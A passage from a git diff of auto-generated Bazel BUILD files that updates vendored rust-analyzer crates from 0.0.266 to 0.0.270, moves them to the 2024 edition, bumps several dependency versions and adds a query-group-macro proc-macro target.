True, ), aliases = { - "@vendor_ts__ra_ap_base_db-0.0.266//:ra_ap_base_db": "base_db", - "@vendor_ts__ra_ap_hir-0.0.266//:ra_ap_hir": "hir", - "@vendor_ts__ra_ap_parser-0.0.266//:ra_ap_parser": "parser", - "@vendor_ts__ra_ap_profile-0.0.266//:ra_ap_profile": "profile", - "@vendor_ts__ra_ap_span-0.0.266//:ra_ap_span": "span", - "@vendor_ts__ra_ap_stdx-0.0.266//:ra_ap_stdx": "stdx", - "@vendor_ts__ra_ap_syntax-0.0.266//:ra_ap_syntax": "syntax", + "@vendor_ts__ra_ap_base_db-0.0.270//:ra_ap_base_db": "base_db", + "@vendor_ts__ra_ap_hir-0.0.270//:ra_ap_hir": "hir", + "@vendor_ts__ra_ap_parser-0.0.270//:ra_ap_parser": "parser", + "@vendor_ts__ra_ap_profile-0.0.270//:ra_ap_profile": "profile", + "@vendor_ts__ra_ap_query-group-macro-0.0.270//:ra_ap_query_group_macro": "query_group", + "@vendor_ts__ra_ap_span-0.0.270//:ra_ap_span": "span", + "@vendor_ts__ra_ap_stdx-0.0.270//:ra_ap_stdx": "stdx", + "@vendor_ts__ra_ap_syntax-0.0.270//:ra_ap_syntax": "syntax", + "@vendor_ts__ra_ap_vfs-0.0.270//:ra_ap_vfs": "vfs", }, compile_data = glob( include = ["**"], @@ -38,7 +40,10 @@ rust_library( ], ), crate_root = "src/lib.rs", - edition = "2021", + edition = "2024", + proc_macro_deps = [ + "@vendor_ts__ra_ap_query-group-macro-0.0.270//:ra_ap_query_group_macro", + ], rustc_flags = [ "--cap-lints=allow", ], @@ -88,28 +93,31 @@ rust_library( "@rules_rust//rust/platform:x86_64-unknown-uefi": [], "//conditions:default": ["@platforms//:incompatible"], }), - version = "0.0.266", + version = "0.0.270", deps = [ "@vendor_ts__arrayvec-0.7.6//:arrayvec", "@vendor_ts__bitflags-2.8.0//:bitflags", "@vendor_ts__cov-mark-2.0.0//:cov_mark", "@vendor_ts__crossbeam-channel-0.5.14//:crossbeam_channel", - "@vendor_ts__either-1.14.0//:either", + "@vendor_ts__dashmap-5.5.3//:dashmap", + "@vendor_ts__either-1.15.0//:either", "@vendor_ts__fst-0.4.7//:fst", "@vendor_ts__indexmap-2.7.0//:indexmap", "@vendor_ts__itertools-0.12.1//:itertools", "@vendor_ts__line-index-0.1.2//:line_index", "@vendor_ts__memchr-2.7.4//:memchr", "@vendor_ts__nohash-hasher-0.2.0//:nohash_hasher", - "@vendor_ts__ra_ap_base_db-0.0.266//:ra_ap_base_db", - "@vendor_ts__ra_ap_hir-0.0.266//:ra_ap_hir", - "@vendor_ts__ra_ap_parser-0.0.266//:ra_ap_parser", - "@vendor_ts__ra_ap_profile-0.0.266//:ra_ap_profile", - "@vendor_ts__ra_ap_span-0.0.266//:ra_ap_span", - "@vendor_ts__ra_ap_stdx-0.0.266//:ra_ap_stdx", - "@vendor_ts__ra_ap_syntax-0.0.266//:ra_ap_syntax", + "@vendor_ts__ra_ap_base_db-0.0.270//:ra_ap_base_db", + "@vendor_ts__ra_ap_hir-0.0.270//:ra_ap_hir", + "@vendor_ts__ra_ap_parser-0.0.270//:ra_ap_parser", + "@vendor_ts__ra_ap_profile-0.0.270//:ra_ap_profile", + "@vendor_ts__ra_ap_span-0.0.270//:ra_ap_span", + "@vendor_ts__ra_ap_stdx-0.0.270//:ra_ap_stdx", + "@vendor_ts__ra_ap_syntax-0.0.270//:ra_ap_syntax", + "@vendor_ts__ra_ap_vfs-0.0.270//:ra_ap_vfs", "@vendor_ts__rayon-1.10.0//:rayon", "@vendor_ts__rustc-hash-2.1.1//:rustc_hash", + "@vendor_ts__salsa-0.19.0//:salsa", "@vendor_ts__tracing-0.1.41//:tracing", "@vendor_ts__triomphe-0.1.14//:triomphe", ], diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_intern-0.0.266.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_intern-0.0.270.bazel similarity index 98% rename from misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_intern-0.0.266.bazel rename to misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_intern-0.0.270.bazel index a36d7b0d3cb..39f87b8bcdc 100644 --- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_intern-0.0.266.bazel +++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_intern-0.0.270.bazel @@ -29,7 +29,7 @@ rust_library( ], ), crate_root = "src/lib.rs", - edition = "2021", + edition = "2024", rustc_flags = [ "--cap-lints=allow", ], @@ -79,7 +79,7 @@ rust_library( "@rules_rust//rust/platform:x86_64-unknown-uefi": [], "//conditions:default": ["@platforms//:incompatible"], }), - version = "0.0.266", + version = "0.0.270", deps = [ "@vendor_ts__dashmap-5.5.3//:dashmap", "@vendor_ts__hashbrown-0.14.5//:hashbrown", diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_load-cargo-0.0.266.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_load-cargo-0.0.270.bazel similarity index 74% rename from misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_load-cargo-0.0.266.bazel rename to misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_load-cargo-0.0.270.bazel index 09abc14852e..30a635ef821 100644 --- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_load-cargo-0.0.266.bazel +++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_load-cargo-0.0.270.bazel @@ -17,16 +17,16 @@ rust_library( allow_empty = True, ), aliases = { - "@vendor_ts__ra_ap_hir_expand-0.0.266//:ra_ap_hir_expand": "hir_expand", - "@vendor_ts__ra_ap_ide_db-0.0.266//:ra_ap_ide_db": "ide_db", - "@vendor_ts__ra_ap_intern-0.0.266//:ra_ap_intern": "intern", - "@vendor_ts__ra_ap_paths-0.0.266//:ra_ap_paths": "paths", - "@vendor_ts__ra_ap_proc_macro_api-0.0.266//:ra_ap_proc_macro_api": "proc_macro_api", - "@vendor_ts__ra_ap_project_model-0.0.266//:ra_ap_project_model": "project_model", - "@vendor_ts__ra_ap_span-0.0.266//:ra_ap_span": "span", - "@vendor_ts__ra_ap_tt-0.0.266//:ra_ap_tt": "tt", - "@vendor_ts__ra_ap_vfs-0.0.266//:ra_ap_vfs": "vfs", - "@vendor_ts__ra_ap_vfs-notify-0.0.266//:ra_ap_vfs_notify": "vfs_notify", + "@vendor_ts__ra_ap_hir_expand-0.0.270//:ra_ap_hir_expand": "hir_expand", + "@vendor_ts__ra_ap_ide_db-0.0.270//:ra_ap_ide_db": "ide_db", + "@vendor_ts__ra_ap_intern-0.0.270//:ra_ap_intern": "intern", + "@vendor_ts__ra_ap_paths-0.0.270//:ra_ap_paths": "paths", + "@vendor_ts__ra_ap_proc_macro_api-0.0.270//:ra_ap_proc_macro_api": "proc_macro_api", + "@vendor_ts__ra_ap_project_model-0.0.270//:ra_ap_project_model": "project_model", + "@vendor_ts__ra_ap_span-0.0.270//:ra_ap_span": "span", + "@vendor_ts__ra_ap_tt-0.0.270//:ra_ap_tt": "tt", + "@vendor_ts__ra_ap_vfs-0.0.270//:ra_ap_vfs": "vfs", + "@vendor_ts__ra_ap_vfs-notify-0.0.270//:ra_ap_vfs_notify": "vfs_notify", }, compile_data = glob( include = ["**"], @@ -41,7 +41,7 @@ rust_library( ], ), crate_root = "src/lib.rs", - edition = "2021", + edition = "2024", rustc_flags = [ "--cap-lints=allow", ], @@ -91,21 +91,21 @@ rust_library( "@rules_rust//rust/platform:x86_64-unknown-uefi": [], "//conditions:default": ["@platforms//:incompatible"], }), - version = "0.0.266", + version = "0.0.270", deps = [ - "@vendor_ts__anyhow-1.0.96//:anyhow", + "@vendor_ts__anyhow-1.0.97//:anyhow", "@vendor_ts__crossbeam-channel-0.5.14//:crossbeam_channel", "@vendor_ts__itertools-0.12.1//:itertools", - "@vendor_ts__ra_ap_hir_expand-0.0.266//:ra_ap_hir_expand", - "@vendor_ts__ra_ap_ide_db-0.0.266//:ra_ap_ide_db", - "@vendor_ts__ra_ap_intern-0.0.266//:ra_ap_intern", - "@vendor_ts__ra_ap_paths-0.0.266//:ra_ap_paths", - "@vendor_ts__ra_ap_proc_macro_api-0.0.266//:ra_ap_proc_macro_api", - "@vendor_ts__ra_ap_project_model-0.0.266//:ra_ap_project_model", - "@vendor_ts__ra_ap_span-0.0.266//:ra_ap_span", - "@vendor_ts__ra_ap_tt-0.0.266//:ra_ap_tt", - "@vendor_ts__ra_ap_vfs-0.0.266//:ra_ap_vfs", - "@vendor_ts__ra_ap_vfs-notify-0.0.266//:ra_ap_vfs_notify", + "@vendor_ts__ra_ap_hir_expand-0.0.270//:ra_ap_hir_expand", + "@vendor_ts__ra_ap_ide_db-0.0.270//:ra_ap_ide_db", + "@vendor_ts__ra_ap_intern-0.0.270//:ra_ap_intern", + "@vendor_ts__ra_ap_paths-0.0.270//:ra_ap_paths", + "@vendor_ts__ra_ap_proc_macro_api-0.0.270//:ra_ap_proc_macro_api", + "@vendor_ts__ra_ap_project_model-0.0.270//:ra_ap_project_model", + "@vendor_ts__ra_ap_span-0.0.270//:ra_ap_span", + "@vendor_ts__ra_ap_tt-0.0.270//:ra_ap_tt", + "@vendor_ts__ra_ap_vfs-0.0.270//:ra_ap_vfs", + "@vendor_ts__ra_ap_vfs-notify-0.0.270//:ra_ap_vfs_notify", "@vendor_ts__tracing-0.1.41//:tracing", ], ) diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_mbe-0.0.266.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_mbe-0.0.270.bazel similarity index 80% rename from misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_mbe-0.0.266.bazel rename to misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_mbe-0.0.270.bazel index c3a16c603ff..be98a1794d8 100644 --- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_mbe-0.0.266.bazel +++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_mbe-0.0.270.bazel @@ -17,13 +17,13 @@ rust_library( allow_empty = True, ), aliases = { - "@vendor_ts__ra_ap_intern-0.0.266//:ra_ap_intern": "intern", - "@vendor_ts__ra_ap_parser-0.0.266//:ra_ap_parser": "parser", - "@vendor_ts__ra_ap_span-0.0.266//:ra_ap_span": "span", - "@vendor_ts__ra_ap_stdx-0.0.266//:ra_ap_stdx": "stdx", - "@vendor_ts__ra_ap_syntax-0.0.266//:ra_ap_syntax": "syntax", - "@vendor_ts__ra_ap_syntax-bridge-0.0.266//:ra_ap_syntax_bridge": "syntax_bridge", - "@vendor_ts__ra_ap_tt-0.0.266//:ra_ap_tt": "tt", + "@vendor_ts__ra_ap_intern-0.0.270//:ra_ap_intern": "intern", + "@vendor_ts__ra_ap_parser-0.0.270//:ra_ap_parser": "parser", + "@vendor_ts__ra_ap_span-0.0.270//:ra_ap_span": "span", + "@vendor_ts__ra_ap_stdx-0.0.270//:ra_ap_stdx": "stdx", + "@vendor_ts__ra_ap_syntax-0.0.270//:ra_ap_syntax": "syntax", + "@vendor_ts__ra_ap_syntax-bridge-0.0.270//:ra_ap_syntax_bridge": "syntax_bridge", + "@vendor_ts__ra_ap_tt-0.0.270//:ra_ap_tt": "tt", }, compile_data = glob( include = ["**"], @@ -38,7 +38,7 @@ rust_library( ], ), crate_root = "src/lib.rs", - edition = "2021", + edition = "2024", rustc_flags = [ "--cap-lints=allow", ], @@ -88,18 +88,18 @@ rust_library( "@rules_rust//rust/platform:x86_64-unknown-uefi": [], "//conditions:default": ["@platforms//:incompatible"], }), - version = "0.0.266", + version = "0.0.270", deps = [ "@vendor_ts__arrayvec-0.7.6//:arrayvec", "@vendor_ts__cov-mark-2.0.0//:cov_mark", - "@vendor_ts__ra-ap-rustc_lexer-0.97.0//:ra_ap_rustc_lexer", - "@vendor_ts__ra_ap_intern-0.0.266//:ra_ap_intern", - "@vendor_ts__ra_ap_parser-0.0.266//:ra_ap_parser", - "@vendor_ts__ra_ap_span-0.0.266//:ra_ap_span", - "@vendor_ts__ra_ap_stdx-0.0.266//:ra_ap_stdx", - "@vendor_ts__ra_ap_syntax-0.0.266//:ra_ap_syntax", - "@vendor_ts__ra_ap_syntax-bridge-0.0.266//:ra_ap_syntax_bridge", - "@vendor_ts__ra_ap_tt-0.0.266//:ra_ap_tt", + "@vendor_ts__ra-ap-rustc_lexer-0.100.0//:ra_ap_rustc_lexer", + "@vendor_ts__ra_ap_intern-0.0.270//:ra_ap_intern", + "@vendor_ts__ra_ap_parser-0.0.270//:ra_ap_parser", + "@vendor_ts__ra_ap_span-0.0.270//:ra_ap_span", + "@vendor_ts__ra_ap_stdx-0.0.270//:ra_ap_stdx", + "@vendor_ts__ra_ap_syntax-0.0.270//:ra_ap_syntax", + "@vendor_ts__ra_ap_syntax-bridge-0.0.270//:ra_ap_syntax_bridge", + "@vendor_ts__ra_ap_tt-0.0.270//:ra_ap_tt", "@vendor_ts__rustc-hash-2.1.1//:rustc_hash", "@vendor_ts__smallvec-1.14.0//:smallvec", "@vendor_ts__tracing-0.1.41//:tracing", diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_parser-0.0.266.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_parser-0.0.270.bazel similarity index 93% rename from misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_parser-0.0.266.bazel rename to misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_parser-0.0.270.bazel index e183b2734b9..abd94f21b0c 100644 --- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_parser-0.0.266.bazel +++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_parser-0.0.270.bazel @@ -17,7 +17,7 @@ rust_library( allow_empty = True, ), aliases = { - "@vendor_ts__ra_ap_edition-0.0.266//:ra_ap_edition": "edition", + "@vendor_ts__ra_ap_edition-0.0.270//:ra_ap_edition": "edition", }, compile_data = glob( include = ["**"], @@ -36,7 +36,7 @@ rust_library( "tracing", ], crate_root = "src/lib.rs", - edition = "2021", + edition = "2024", rustc_flags = [ "--cap-lints=allow", ], @@ -86,11 +86,11 @@ rust_library( "@rules_rust//rust/platform:x86_64-unknown-uefi": [], "//conditions:default": ["@platforms//:incompatible"], }), - version = "0.0.266", + version = "0.0.270", deps = [ "@vendor_ts__drop_bomb-0.1.5//:drop_bomb", - "@vendor_ts__ra-ap-rustc_lexer-0.97.0//:ra_ap_rustc_lexer", - "@vendor_ts__ra_ap_edition-0.0.266//:ra_ap_edition", + "@vendor_ts__ra-ap-rustc_lexer-0.100.0//:ra_ap_rustc_lexer", + "@vendor_ts__ra_ap_edition-0.0.270//:ra_ap_edition", "@vendor_ts__tracing-0.1.41//:tracing", ], ) diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_paths-0.0.266.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_paths-0.0.270.bazel similarity index 98% rename from misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_paths-0.0.266.bazel rename to misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_paths-0.0.270.bazel index 71c23f70a94..582fc319674 100644 --- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_paths-0.0.266.bazel +++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_paths-0.0.270.bazel @@ -32,7 +32,7 @@ rust_library( "serde1", ], crate_root = "src/lib.rs", - edition = "2021", + edition = "2024", rustc_flags = [ "--cap-lints=allow", ], @@ -82,7 +82,7 @@ rust_library( "@rules_rust//rust/platform:x86_64-unknown-uefi": [], "//conditions:default": ["@platforms//:incompatible"], }), - version = "0.0.266", + version = "0.0.270", deps = [ "@vendor_ts__camino-1.1.9//:camino", ], diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_proc_macro_api-0.0.266.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_proc_macro_api-0.0.270.bazel similarity index 82% rename from misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_proc_macro_api-0.0.266.bazel rename to misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_proc_macro_api-0.0.270.bazel index 52cd154b6fc..e8379df9f54 100644 --- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_proc_macro_api-0.0.266.bazel +++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_proc_macro_api-0.0.270.bazel @@ -17,11 +17,11 @@ rust_library( allow_empty = True, ), aliases = { - "@vendor_ts__ra_ap_intern-0.0.266//:ra_ap_intern": "intern", - "@vendor_ts__ra_ap_paths-0.0.266//:ra_ap_paths": "paths", - "@vendor_ts__ra_ap_span-0.0.266//:ra_ap_span": "span", - "@vendor_ts__ra_ap_stdx-0.0.266//:ra_ap_stdx": "stdx", - "@vendor_ts__ra_ap_tt-0.0.266//:ra_ap_tt": "tt", + "@vendor_ts__ra_ap_intern-0.0.270//:ra_ap_intern": "intern", + "@vendor_ts__ra_ap_paths-0.0.270//:ra_ap_paths": "paths", + "@vendor_ts__ra_ap_span-0.0.270//:ra_ap_span": "span", + "@vendor_ts__ra_ap_stdx-0.0.270//:ra_ap_stdx": "stdx", + "@vendor_ts__ra_ap_tt-0.0.270//:ra_ap_tt": "tt", }, compile_data = glob( include = ["**"], @@ -36,9 +36,9 @@ rust_library( ], ), crate_root = "src/lib.rs", - edition = "2021", + edition = "2024", proc_macro_deps = [ - "@vendor_ts__serde_derive-1.0.218//:serde_derive", + "@vendor_ts__serde_derive-1.0.219//:serde_derive", ], rustc_flags = [ "--cap-lints=allow", @@ -89,17 +89,17 @@ rust_library( "@rules_rust//rust/platform:x86_64-unknown-uefi": [], "//conditions:default": ["@platforms//:incompatible"], }), - version = "0.0.266", + version = "0.0.270", deps = [ "@vendor_ts__indexmap-2.7.0//:indexmap", - "@vendor_ts__ra_ap_intern-0.0.266//:ra_ap_intern", - "@vendor_ts__ra_ap_paths-0.0.266//:ra_ap_paths", - "@vendor_ts__ra_ap_span-0.0.266//:ra_ap_span", - "@vendor_ts__ra_ap_stdx-0.0.266//:ra_ap_stdx", - "@vendor_ts__ra_ap_tt-0.0.266//:ra_ap_tt", + "@vendor_ts__ra_ap_intern-0.0.270//:ra_ap_intern", + "@vendor_ts__ra_ap_paths-0.0.270//:ra_ap_paths", + "@vendor_ts__ra_ap_span-0.0.270//:ra_ap_span", + "@vendor_ts__ra_ap_stdx-0.0.270//:ra_ap_stdx", + "@vendor_ts__ra_ap_tt-0.0.270//:ra_ap_tt", "@vendor_ts__rustc-hash-2.1.1//:rustc_hash", - "@vendor_ts__serde-1.0.218//:serde", - "@vendor_ts__serde_json-1.0.139//:serde_json", + "@vendor_ts__serde-1.0.219//:serde", + "@vendor_ts__serde_json-1.0.140//:serde_json", "@vendor_ts__tracing-0.1.41//:tracing", ], ) diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_profile-0.0.266.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_profile-0.0.270.bazel similarity index 91% rename from misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_profile-0.0.266.bazel rename to misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_profile-0.0.270.bazel index 1ca7ddd38df..2a4bffbc5c8 100644 --- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_profile-0.0.266.bazel +++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_profile-0.0.270.bazel @@ -29,7 +29,7 @@ rust_library( ], ), crate_root = "src/lib.rs", - edition = "2021", + edition = "2024", rustc_flags = [ "--cap-lints=allow", ], @@ -79,7 +79,7 @@ rust_library( "@rules_rust//rust/platform:x86_64-unknown-uefi": [], "//conditions:default": ["@platforms//:incompatible"], }), - version = "0.0.266", + version = "0.0.270", deps = [ "@vendor_ts__cfg-if-1.0.0//:cfg_if", "@vendor_ts__libc-0.2.169//:libc", @@ -88,37 +88,37 @@ rust_library( "@vendor_ts__windows-sys-0.59.0//:windows_sys", # cfg(windows) ], "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [ - "@vendor_ts__perf-event-0.4.7//:perf_event", # cfg(target_os = "linux") + "@vendor_ts__perf-event-0.4.7//:perf_event", # cfg(all(target_os = "linux", not(target_env = "ohos"))) ], "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [ - "@vendor_ts__perf-event-0.4.7//:perf_event", # cfg(target_os = "linux") + "@vendor_ts__perf-event-0.4.7//:perf_event", # cfg(all(target_os = "linux", not(target_env = "ohos"))) ], "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [ - "@vendor_ts__perf-event-0.4.7//:perf_event", # cfg(target_os = "linux") + "@vendor_ts__perf-event-0.4.7//:perf_event", # cfg(all(target_os = "linux", not(target_env = "ohos"))) ], "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [ - "@vendor_ts__perf-event-0.4.7//:perf_event", # cfg(target_os = "linux") + "@vendor_ts__perf-event-0.4.7//:perf_event", # cfg(all(target_os = "linux", not(target_env = "ohos"))) ], "@rules_rust//rust/platform:i686-pc-windows-msvc": [ "@vendor_ts__windows-sys-0.59.0//:windows_sys", # cfg(windows) ], "@rules_rust//rust/platform:i686-unknown-linux-gnu": [ - "@vendor_ts__perf-event-0.4.7//:perf_event", # cfg(target_os = "linux") + "@vendor_ts__perf-event-0.4.7//:perf_event", # cfg(all(target_os = "linux", not(target_env = "ohos"))) ], "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [ - "@vendor_ts__perf-event-0.4.7//:perf_event", # cfg(target_os = "linux") + "@vendor_ts__perf-event-0.4.7//:perf_event", # cfg(all(target_os = "linux", not(target_env = "ohos"))) ], "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [ - "@vendor_ts__perf-event-0.4.7//:perf_event", # cfg(target_os = "linux") + "@vendor_ts__perf-event-0.4.7//:perf_event", # cfg(all(target_os = "linux", not(target_env = "ohos"))) ], "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [ "@vendor_ts__windows-sys-0.59.0//:windows_sys", # cfg(windows) ], "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [ - "@vendor_ts__perf-event-0.4.7//:perf_event", # cfg(target_os = "linux") + "@vendor_ts__perf-event-0.4.7//:perf_event", # cfg(all(target_os = "linux", not(target_env = "ohos"))) ], "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [ - "@vendor_ts__perf-event-0.4.7//:perf_event", # cfg(target_os = "linux") + "@vendor_ts__perf-event-0.4.7//:perf_event", # cfg(all(target_os = "linux", not(target_env = "ohos"))) ], "//conditions:default": [], }), diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_project_model-0.0.266.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_project_model-0.0.270.bazel similarity index 78% rename from misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_project_model-0.0.266.bazel rename to misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_project_model-0.0.270.bazel index 7edf5bc0f82..bac3ea62b1c 100644 --- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_project_model-0.0.266.bazel +++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_project_model-0.0.270.bazel @@ -17,13 +17,13 @@ rust_library( allow_empty = True, ), aliases = { - "@vendor_ts__ra_ap_base_db-0.0.266//:ra_ap_base_db": "base_db", - "@vendor_ts__ra_ap_cfg-0.0.266//:ra_ap_cfg": "cfg", - "@vendor_ts__ra_ap_intern-0.0.266//:ra_ap_intern": "intern", - "@vendor_ts__ra_ap_paths-0.0.266//:ra_ap_paths": "paths", - "@vendor_ts__ra_ap_span-0.0.266//:ra_ap_span": "span", - "@vendor_ts__ra_ap_stdx-0.0.266//:ra_ap_stdx": "stdx", - "@vendor_ts__ra_ap_toolchain-0.0.266//:ra_ap_toolchain": "toolchain", + "@vendor_ts__ra_ap_base_db-0.0.270//:ra_ap_base_db": "base_db", + "@vendor_ts__ra_ap_cfg-0.0.270//:ra_ap_cfg": "cfg", + "@vendor_ts__ra_ap_intern-0.0.270//:ra_ap_intern": "intern", + "@vendor_ts__ra_ap_paths-0.0.270//:ra_ap_paths": "paths", + "@vendor_ts__ra_ap_span-0.0.270//:ra_ap_span": "span", + "@vendor_ts__ra_ap_stdx-0.0.270//:ra_ap_stdx": "stdx", + "@vendor_ts__ra_ap_toolchain-0.0.270//:ra_ap_toolchain": "toolchain", }, compile_data = glob( include = ["**"], @@ -38,9 +38,9 @@ rust_library( ], ), crate_root = "src/lib.rs", - edition = "2021", + edition = "2024", proc_macro_deps = [ - "@vendor_ts__serde_derive-1.0.218//:serde_derive", + "@vendor_ts__serde_derive-1.0.219//:serde_derive", ], rustc_flags = [ "--cap-lints=allow", @@ -91,23 +91,23 @@ rust_library( "@rules_rust//rust/platform:x86_64-unknown-uefi": [], "//conditions:default": ["@platforms//:incompatible"], }), - version = "0.0.266", + version = "0.0.270", deps = [ - "@vendor_ts__anyhow-1.0.96//:anyhow", + "@vendor_ts__anyhow-1.0.97//:anyhow", "@vendor_ts__cargo_metadata-0.18.1//:cargo_metadata", "@vendor_ts__itertools-0.12.1//:itertools", "@vendor_ts__la-arena-0.3.1//:la_arena", - "@vendor_ts__ra_ap_base_db-0.0.266//:ra_ap_base_db", - "@vendor_ts__ra_ap_cfg-0.0.266//:ra_ap_cfg", - "@vendor_ts__ra_ap_intern-0.0.266//:ra_ap_intern", - "@vendor_ts__ra_ap_paths-0.0.266//:ra_ap_paths", - "@vendor_ts__ra_ap_span-0.0.266//:ra_ap_span", - "@vendor_ts__ra_ap_stdx-0.0.266//:ra_ap_stdx", - "@vendor_ts__ra_ap_toolchain-0.0.266//:ra_ap_toolchain", + "@vendor_ts__ra_ap_base_db-0.0.270//:ra_ap_base_db", + "@vendor_ts__ra_ap_cfg-0.0.270//:ra_ap_cfg", + "@vendor_ts__ra_ap_intern-0.0.270//:ra_ap_intern", + "@vendor_ts__ra_ap_paths-0.0.270//:ra_ap_paths", + "@vendor_ts__ra_ap_span-0.0.270//:ra_ap_span", + "@vendor_ts__ra_ap_stdx-0.0.270//:ra_ap_stdx", + "@vendor_ts__ra_ap_toolchain-0.0.270//:ra_ap_toolchain", "@vendor_ts__rustc-hash-2.1.1//:rustc_hash", "@vendor_ts__semver-1.0.24//:semver", - "@vendor_ts__serde-1.0.218//:serde", - "@vendor_ts__serde_json-1.0.139//:serde_json", + "@vendor_ts__serde-1.0.219//:serde", + "@vendor_ts__serde_json-1.0.140//:serde_json", "@vendor_ts__tracing-0.1.41//:tracing", "@vendor_ts__triomphe-0.1.14//:triomphe", ], diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_query-group-macro-0.0.270.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_query-group-macro-0.0.270.bazel new file mode 100644 index 00000000000..66b54f0975e --- /dev/null +++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_query-group-macro-0.0.270.bazel @@ -0,0 +1,90 @@ +############################################################################### +# @generated +# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To +# regenerate this file, run the following: +# +# bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors +############################################################################### + +load("@rules_rust//rust:defs.bzl", "rust_proc_macro") + +package(default_visibility = ["//visibility:public"]) + +rust_proc_macro( + name = "ra_ap_query_group_macro", + srcs = glob( + include = ["**/*.rs"], + allow_empty = True, + ), + compile_data = glob( + include = ["**"], + allow_empty = True, + exclude = [ + "**/* *", + ".tmp_git_root/**/*", + "BUILD", + "BUILD.bazel", + "WORKSPACE", + "WORKSPACE.bazel", + ], + ), + crate_root = "src/lib.rs", + edition = "2024", + rustc_flags = [ + "--cap-lints=allow", + ], + tags = [ + "cargo-bazel", + "crate-name=ra_ap_query-group-macro", + "manual", + "noclippy", + "norustfmt", + ], + target_compatible_with = select({ + "@rules_rust//rust/platform:aarch64-apple-darwin": [], + "@rules_rust//rust/platform:aarch64-apple-ios": [], + "@rules_rust//rust/platform:aarch64-apple-ios-sim": [], + "@rules_rust//rust/platform:aarch64-linux-android": [], + "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [], + "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [], + "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [], + "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [], + "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [], + "@rules_rust//rust/platform:aarch64-unknown-uefi": [], + "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [], + "@rules_rust//rust/platform:armv7-linux-androideabi": [], + "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [], + "@rules_rust//rust/platform:i686-apple-darwin": [], + "@rules_rust//rust/platform:i686-linux-android": [], + "@rules_rust//rust/platform:i686-pc-windows-msvc": [], + 